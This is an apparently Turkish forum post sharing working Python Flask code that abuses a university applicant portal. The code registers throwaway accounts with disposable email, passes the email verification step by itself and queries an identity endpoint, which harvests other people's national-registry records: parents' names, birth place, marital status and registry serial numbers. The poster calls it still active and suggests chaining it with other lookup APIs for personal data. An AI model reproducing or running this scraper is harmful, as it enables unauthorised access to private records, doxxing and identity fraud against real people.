P
Polizei
Üye
Apiyi Kullanmak İçin Güncel Doğum Tarihi Ve AdSoyad Apisi Lazım, Kendiniz Bağlayıp Kullanırsınız Src Hala Aktiftir İyi Kullanımlar.
Kod:
import requests
from time import sleep
import time
from bs4 import BeautifulSoup
from flask import Flask, request, jsonify
import json
filas = Flask(__name__)
@filas.route('/serino', methods=["GET"])
def main():
flash = requests.session()
tc = request.args.get('tc')
ad = request.args.get('ad')
soyad = request.args.get('soyad')
dt = request.args.get('dt')
if not (tc and ad and soyad and dt):
return json.dumps("Parametreleri doğru gir")
try:
baslangic = time.time()
headers = {
'authority': 'adayogrenci.altinbas.edu.tr',
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
'accept-language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
'cache-control': 'max-age=0',
'referer': 'https://adayogrenci.altinbas.edu.tr/register',
'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'document',
'sec-fetch-mode': 'navigate',
'sec-fetch-site': 'same-origin',
'sec-fetch-user': '?1',
'upgrade-insecure-requests': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
}
response = flash.get('https://adayogrenci.altinbas.edu.tr/login', headers=headers, verify=False)
html = BeautifulSoup(response.content, 'html.parser')
token = html.find('input', {'name':'_token'})["value"]
data = {
'_token': token,
'email': f'{tc}@laafd.com',
'password': 'infolanmam.',
}
response = flash.post('https://adayogrenci.altinbas.edu.tr/login', headers=headers, data=data, verify=False)
sleep(1)
if response.url == "https://adayogrenci.altinbas.edu.tr/register":
response = flash.get('https://adayogrenci.altinbas.edu.tr/register', headers=headers, verify=False)
html = BeautifulSoup(response.content, 'html.parser')
token = html.find('input', {'name':'_token'})["value"]
data = {
'_token': token,
'mail': f'{tc}@laafd.com',
}
flash.post('https://adayogrenci.altinbas.edu.tr/verfication1', headers=headers, data=data, verify=False)
sleep(3)
response = requests.get(f'https://www.1secmail.com/api/v1/?action=getMessages&login={tc}&domain=laafd.com').json()
messageid = response[0]["id"]
mesajicerik = requests.get(f"https://www.1secmail.com/api/v1/?action=readMessage&login={tc}&domain=laafd.com&id={messageid}").json()
soup = BeautifulSoup(mesajicerik['textBody'], 'html.parser')
kod = soup.text.split("Doğrulama Kodunuz:")[1]
dkod = kod[:7].replace(" ","")
data = {
'_token': token,
'mail': f'{tc}@laafd.com',
'code': dkod,
}
response = flash.post('https://adayogrenci.altinbas.edu.tr/verfication1code', headers=headers, data=data, verify=False)
data = {
'_token': token,
'identity_number': tc,
'passport_number': '',
'name': ad,
'surname': soyad,
'birth_date': dt,
'email': f'{tc}@laafd.com',
'password': 'infolanmam.',
'password_confirmation': 'infolanmam.',
}
response = flash.post('https://adayogrenci.altinbas.edu.tr/register', headers=headers, data=data, verify=False)
headers = {
'authority': 'adayogrenci.altinbas.edu.tr',
'accept': '*/*',
'accept-language': 'tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7',
'content-type': 'application/x-www-form-urlencoded; charset=UTF-8',
'origin': 'https://adayogrenci.altinbas.edu.tr',
'referer': 'https://adayogrenci.altinbas.edu.tr/new-application',
'sec-ch-ua': '"Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
'x-csrf-token': 'N65HEolmx6VDDJYCgqPO2WNvlO0kxMRw0efTgIgP',
'x-requested-with': 'XMLHttpRequest',
}
response = flash.get('https://adayogrenci.altinbas.edu.tr/new-application', headers=headers, verify=False)
html = BeautifulSoup(response.content, 'html.parser')
token = html.find('input', {'name':'_token'})["value"]
button_element = html.find('button', {'class': 'btn btn-sm col-12 btn-primary fetch_identity_info'})
flashandfur = button_element['data-i-bd']
ahmedandsoul = button_element['data-i-n']
data = {
'_token': token,
'idn': ahmedandsoul,
'bdt': flashandfur,
}
response = flash.post('https://adayogrenci.altinbas.edu.tr/get-identity-info', headers=headers, data=data, verify=False)
veri = response.json()
flash.close()
if response.status_code == 200:
success = True
else:
success = False
flash_cinsiyet = {"906001": "Erkek", "906002": "Kadın"}
flash_medeni = {"10001": "Bekar", "10002": "Evli", "10003": "Boşanmış", "10004": "Dul"}
cinsiyet = flash_cinsiyet.get(veri["gender"], "Bilinmiyor")
medenihal = flash_medeni.get(veri["marital_status"], "Bilinmiyor")
respsüre = baslangic - time.time()
am = {
"writer": "Flash",
"success": success,
"executetime": respsüre,
"data": {
"KimlikNumarası": tc,
"Ad": ad,
"Soyad": soyad,
"DogumTarihi": dt,
"DogumYeri": veri["birth_place"],
"Cinsiyet": cinsiyet,
"AnneAdı": veri["mothers_name"],
"BabaAdı": veri["fathers_name"],
"NufusIL": veri["city"],
"NufusILCE": veri["district"],
"Mahalle": veri["village"],
"MedeniHal": medenihal,
"AileSirano": veri["family_order_no"],
"CiltNo": veri["volume_no"],
"SıraNo": veri["order_no"],
"SeriNo": veri["serial_no"],
}
}
return json.dumps(am)
except:
return json.dumps({"success":False, "message":"Api hata verdi."})
if __name__ == '__main__':
filas.run(debug=False, host="0.0.0.0", port=5656)
Moderatör tarafında düzenlendi: